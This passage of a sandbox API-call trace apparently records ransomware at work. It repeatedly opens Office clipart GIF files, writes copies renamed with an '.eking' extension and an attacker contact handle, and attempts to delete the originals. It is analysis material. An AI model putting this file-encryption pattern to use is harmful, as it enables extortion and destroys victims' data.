lpOverlapped=0x0) returned 1 [0254.094] WriteFile (in: hFile=0x39c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0254.094] CloseHandle (hObject=0x348) returned 1 [0254.095] CloseHandle (hObject=0x39c) returned 1 [0254.096] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0 [0254.096] SetEvent (hEvent=0x2b8) returned 1 [0254.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0254.098] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8097) returned 1 [0254.098] CloseHandle (hObject=0x39c) returned 1 [0254.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0254.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0254.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0254.103] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.104] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0254.104] ReadFile (in: hFile=0x39c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1fa1, lpOverlapped=0x0) returned 1 [0254.108] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1fb0, lpOverlapped=0x0) returned 1 [0254.109] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0254.109] CloseHandle (hObject=0x39c) returned 1 [0254.110] CloseHandle (hObject=0x348) returned 1 [0254.110] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0 [0254.110] SetEvent (hEvent=0x2b8) returned 1 [0254.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0254.112] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7686) returned 1 [0254.112] CloseHandle (hObject=0x348) returned 1 [0254.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0254.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0254.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0254.113] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.113] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0254.114] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1e06, lpOverlapped=0x0) returned 1 [0254.117] WriteFile (in: hFile=0x39c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1e10, lpOverlapped=0x0) returned 1 [0254.119] WriteFile (in: hFile=0x39c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0254.119] CloseHandle (hObject=0x348) returned 1 [0254.120] CloseHandle (hObject=0x39c) returned 1 [0254.120] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0 [0254.121] SetEvent (hEvent=0x2b8) returned 1 [0254.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0254.126] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=11891) returned 1 [0254.126] CloseHandle (hObject=0x39c) returned 1 [0254.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0254.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220 [0254.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0254.127] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.128] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0254.129] ReadFile (in: hFile=0x39c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2e73, lpOverlapped=0x0) returned 1 [0254.131] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2e80, lpOverlapped=0x0) returned 1 [0254.133] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0254.133] CloseHandle (hObject=0x39c) returned 1 [0254.133] CloseHandle (hObject=0x348) returned 1 [0254.133] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0 [0254.134] SetEvent (hEvent=0x2b8) returned 1 [0254.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0254.881] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=517) returned 1 [0254.881] CloseHandle (hObject=0x3a0) returned 1 [0254.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0254.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0254.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0254.882] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.882] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0254.886] ReadFile (in: hFile=0x3a0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x205, lpOverlapped=0x0) returned 1 [0254.888] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x210, lpOverlapped=0x0) returned 1 [0254.889] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0254.889] CloseHandle (hObject=0x3a0) returned 1 [0254.889] CloseHandle (hObject=0x348) returned 1 [0254.890] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0 [0254.890] SetEvent (hEvent=0x2b8) returned 1 [0254.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0254.892] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5253) returned 1 [0254.892] CloseHandle (hObject=0x348) returned 1 [0254.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0254.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0254.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0254.894] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.894] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0254.895] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1485, lpOverlapped=0x0) returned 1 [0254.899] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1490, lpOverlapped=0x0) returned 1 [0254.901] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0254.901] CloseHandle (hObject=0x348) returned 1 [0254.901] CloseHandle (hObject=0x3a0) returned 1 [0254.901] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0 [0254.902] SetEvent (hEvent=0x2b8) returned 1 [0254.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0254.904] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2596) returned 1 [0254.904] CloseHandle (hObject=0x3a0) returned 1 [0254.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0254.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0254.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0254.905] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.905] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0254.907] ReadFile (in: hFile=0x3a0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xa24, lpOverlapped=0x0) returned 1 [0254.922] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa30, lpOverlapped=0x0) returned 1 [0254.924] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0254.924] CloseHandle (hObject=0x3a0) returned 1 [0254.924] CloseHandle (hObject=0x348) returned 1 [0254.925] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0 [0254.925] SetEvent (hEvent=0x2b8) returned 1 [0254.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0254.926] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10607) returned 1 [0254.926] CloseHandle (hObject=0x348) returned 1 [0254.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0254.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0254.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0254.927] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.927] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0254.929] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x296f, lpOverlapped=0x0) returned 1 [0254.932] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2970, lpOverlapped=0x0) returned 1 [0254.933] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0254.933] CloseHandle (hObject=0x348) returned 1 [0254.933] CloseHandle (hObject=0x3a0) returned 1 [0254.934] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft 